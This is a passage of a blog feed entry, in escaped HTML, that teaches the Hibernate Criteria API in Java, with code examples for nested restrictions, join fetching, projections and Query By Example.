&lt;span id="cb9-5"&gt;&lt;a aria-hidden="true" href="#cb9-5" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// This gives the WHERE Clause WHERE (id=1 AND id=2)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;_The Disjunctions and Conjunctions can be nested as well and also
along with group of Restrictions.&lt;/p&gt;
&lt;div class="sourceCode" id="cb10"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb10-1"&gt;&lt;a aria-hidden="true" href="#cb10-1" tabindex="-1"&gt;&lt;/a&gt;Conjunction conList &lt;span class="op"&gt;=&lt;/span&gt; Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;conjunction&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-2"&gt;&lt;a aria-hidden="true" href="#cb10-2" tabindex="-1"&gt;&lt;/a&gt;conList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;disjunction&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb10-3"&gt;&lt;a aria-hidden="true" href="#cb10-3" tabindex="-1"&gt;&lt;/a&gt;       &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"id"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;&lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;1&lt;/span&gt;&lt;span class="op"&gt;))));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="how-to-join-tables-using-criteria-api"&gt;How to join Tables using
Criteria API&lt;/h3&gt;
&lt;p&gt;Using HQLs, joins resemble SQL closely. [source,sql]&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// use LEFT JOIN FETCH for optimizing queries
from Sale sale where sale.date &amp;gt; :startDate left join fetch sale.product&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same can be achieved using Criteria API with the help of
&lt;code&gt;setFetchMode()&lt;/code&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb12"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb12-1"&gt;&lt;a aria-hidden="true" href="#cb12-1" tabindex="-1"&gt;&lt;/a&gt;session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Sale&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb12-2"&gt;&lt;a aria-hidden="true" href="#cb12-2" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFetchMode&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"product"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;FetchMode&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;EAGER&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb12-3"&gt;&lt;a aria-hidden="true" href="#cb12-3" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setFetchMode&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"category"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt;FetchMode&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;EAGER&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb12-4"&gt;&lt;a aria-hidden="true" href="#cb12-4" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Using Criteria API, even &lt;strong&gt;Restriction&lt;/strong&gt; can be applied
on the joined tables.Criteria API uses the createCriteria() or
createAlias() (no new instance) to create an inner join between the two
tables.&lt;/p&gt;
&lt;div class="sourceCode" id="cb13"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb13-1"&gt;&lt;a aria-hidden="true" href="#cb13-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// to find all the shirt models with sizes over 40.&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-2"&gt;&lt;a aria-hidden="true" href="#cb13-2" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// HQL: from Shirt shirt join shirt.availableSizes size where size.number &amp;gt; 40&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-3"&gt;&lt;a aria-hidden="true" href="#cb13-3" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb13-4"&gt;&lt;a aria-hidden="true" href="#cb13-4" tabindex="-1"&gt;&lt;/a&gt;Session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Shirt&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-5"&gt;&lt;a aria-hidden="true" href="#cb13-5" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"availableSizes"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-6"&gt;&lt;a aria-hidden="true" href="#cb13-6" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Expression&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;gt&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"number"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;40&lt;/span&gt;&lt;span class="op"&gt;)))&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb13-7"&gt;&lt;a aria-hidden="true" href="#cb13-7" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="projections---aggregation-and-grouping"&gt;Projections -
Aggregation and Grouping&lt;/h3&gt;
&lt;p&gt;The Projections API is used for aggregation and grouping
functionality. A simple example which returns the count of number of
cats with age greater than 10.&lt;/p&gt;
&lt;div class="sourceCode" id="cb14"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb14-1"&gt;&lt;a aria-hidden="true" href="#cb14-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Simple Projection&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb14-2"&gt;&lt;a aria-hidden="true" href="#cb14-2" tabindex="-1"&gt;&lt;/a&gt;session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Cat&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb14-3"&gt;&lt;a aria-hidden="true" href="#cb14-3" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;gt&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"age"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;10&lt;/span&gt;&lt;span class="op"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb14-4"&gt;&lt;a aria-hidden="true" href="#cb14-4" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setProjection&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;rowCount&lt;/span&gt;&lt;span class="op"&gt;())&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb14-5"&gt;&lt;a aria-hidden="true" href="#cb14-5" tabindex="-1"&gt;&lt;/a&gt;      &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A number of aggregations can be done in a single Criteria and can be
done along with a group by clause.&lt;/p&gt;
&lt;div class="sourceCode" id="cb15"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb15-1"&gt;&lt;a aria-hidden="true" href="#cb15-1" tabindex="-1"&gt;&lt;/a&gt;Criteria crit &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Cat&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-2"&gt;&lt;a aria-hidden="true" href="#cb15-2" tabindex="-1"&gt;&lt;/a&gt;ProjectionList projList &lt;span class="op"&gt;=&lt;/span&gt; Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;projectionList&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-3"&gt;&lt;a aria-hidden="true" href="#cb15-3" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;rowCount&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-4"&gt;&lt;a aria-hidden="true" href="#cb15-4" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;avg&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"weight"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-5"&gt;&lt;a aria-hidden="true" href="#cb15-5" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;max&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"weight"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-6"&gt;&lt;a aria-hidden="true" href="#cb15-6" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;groupProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"color"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;)&lt;/span&gt; ) &lt;span class="op"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb15-7"&gt;&lt;a aria-hidden="true" href="#cb15-7" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; result &lt;span class="op"&gt;=&lt;/span&gt; crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setProjection&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;projList&lt;span class="op"&gt;).&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To allow the users to query only the required columns Hibernate 3
introduced the &lt;strong&gt;Projections.property()&lt;/strong&gt;&lt;/p&gt;
&lt;div class="sourceCode" id="cb16"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb16-1"&gt;&lt;a aria-hidden="true" href="#cb16-1" tabindex="-1"&gt;&lt;/a&gt;Criteria crit &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Employee&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-2"&gt;&lt;a aria-hidden="true" href="#cb16-2" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;eq&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"zipCode"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; zipCode&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-3"&gt;&lt;a aria-hidden="true" href="#cb16-3" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Restrictions&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;gt&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"salary"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="bu"&gt;Integer&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="dv"&gt;10000&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-4"&gt;&lt;a aria-hidden="true" href="#cb16-4" tabindex="-1"&gt;&lt;/a&gt;ProjectionList projList &lt;span class="op"&gt;=&lt;/span&gt; Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;projectionList&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-5"&gt;&lt;a aria-hidden="true" href="#cb16-5" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;property&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"name"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-6"&gt;&lt;a aria-hidden="true" href="#cb16-6" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;property&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"age"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-7"&gt;&lt;a aria-hidden="true" href="#cb16-7" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;property&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"county"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-8"&gt;&lt;a aria-hidden="true" href="#cb16-8" tabindex="-1"&gt;&lt;/a&gt;projList&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Projections&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;property&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"job"&lt;/span&gt;&lt;span class="op"&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb16-9"&gt;&lt;a aria-hidden="true" href="#cb16-9" tabindex="-1"&gt;&lt;/a&gt;crit&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setProjection&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;projList&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;This really helps when the table being queried contains 50 to 60
columns and we need only 4 to 5 columns.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="query-by-example-api"&gt;Query By Example API&lt;/h3&gt;
&lt;p&gt;The Example API helps to optimize the query by initializing the text
values and by providing extensibility of the Criterion Object.&lt;/p&gt;
&lt;div class="sourceCode" id="cb17"&gt;&lt;pre class="sourceCode java"&gt;&lt;code class="sourceCode java"&gt;&lt;span id="cb17-1"&gt;&lt;a aria-hidden="true" href="#cb17-1" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Initializing the text values to be used&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-2"&gt;&lt;a aria-hidden="true" href="#cb17-2" tabindex="-1"&gt;&lt;/a&gt;Accommodation accommodationEx &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="kw"&gt;new&lt;/span&gt; &lt;span class="fu"&gt;Accommodation&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-3"&gt;&lt;a aria-hidden="true" href="#cb17-3" tabindex="-1"&gt;&lt;/a&gt;accommodationEx&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setCountry&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;country&lt;span class="op"&gt;);&lt;/span&gt; &lt;/span&gt;
&lt;span id="cb17-4"&gt;&lt;a aria-hidden="true" href="#cb17-4" tabindex="-1"&gt;&lt;/a&gt;accommodationEx&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;setCapacity&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;capacity&lt;span class="op"&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-5"&gt;&lt;a aria-hidden="true" href="#cb17-5" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb17-6"&gt;&lt;a aria-hidden="true" href="#cb17-6" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Creating and fine tuning the example object&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-7"&gt;&lt;a aria-hidden="true" href="#cb17-7" tabindex="-1"&gt;&lt;/a&gt;Example example &lt;span class="op"&gt;=&lt;/span&gt; Example&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;create&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;accommodationEx&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-8"&gt;&lt;a aria-hidden="true" href="#cb17-8" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;ignoreCase&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt; &lt;span class="co"&gt;//Queries are case insensitive&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-9"&gt;&lt;a aria-hidden="true" href="#cb17-9" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;excludeZeroes&lt;/span&gt;&lt;span class="op"&gt;()&lt;/span&gt;  &lt;span class="co"&gt;//zero-valued fields are ignored&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-10"&gt;&lt;a aria-hidden="true" href="#cb17-10" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;excludeProperty&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"doNotUse"&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="co"&gt;// this property is excluded&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-11"&gt;&lt;a aria-hidden="true" href="#cb17-11" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;enableLike&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;MatchMode&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;ANYWHERE&lt;/span&gt;&lt;span class="op"&gt;);&lt;/span&gt; &lt;span class="co"&gt;//query string matching uses ‘%X%’&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-12"&gt;&lt;a aria-hidden="true" href="#cb17-12" tabindex="-1"&gt;&lt;/a&gt;&lt;/span&gt;
&lt;span id="cb17-13"&gt;&lt;a aria-hidden="true" href="#cb17-13" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="co"&gt;// Using the Example Object and adding further restrictions&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-14"&gt;&lt;a aria-hidden="true" href="#cb17-14" tabindex="-1"&gt;&lt;/a&gt;&lt;span class="bu"&gt;List&lt;/span&gt; list &lt;span class="op"&gt;=&lt;/span&gt; session&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;createCriteria&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;Accommodation&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;class&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-15"&gt;&lt;a aria-hidden="true" href="#cb17-15" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;example&lt;span class="op"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-16"&gt;&lt;a aria-hidden="true" href="#cb17-16" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;add&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="bu"&gt;Expression&lt;/span&gt;&lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;between&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="st"&gt;"availabilityDate"&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; startDate&lt;span class="op"&gt;,&lt;/span&gt; endDate&lt;span class="op"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span id="cb17-17"&gt;&lt;a aria-hidden="true" href="#cb17-17" tabindex="-1"&gt;&lt;/a&gt;    &lt;span class="op"&gt;.&lt;/span&gt;&lt;span class="fu"&gt;list&lt;/span&gt;&lt;span class="op"&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="Software-Engineering"/><category term="development"/><category term="coding"/></entry></feed>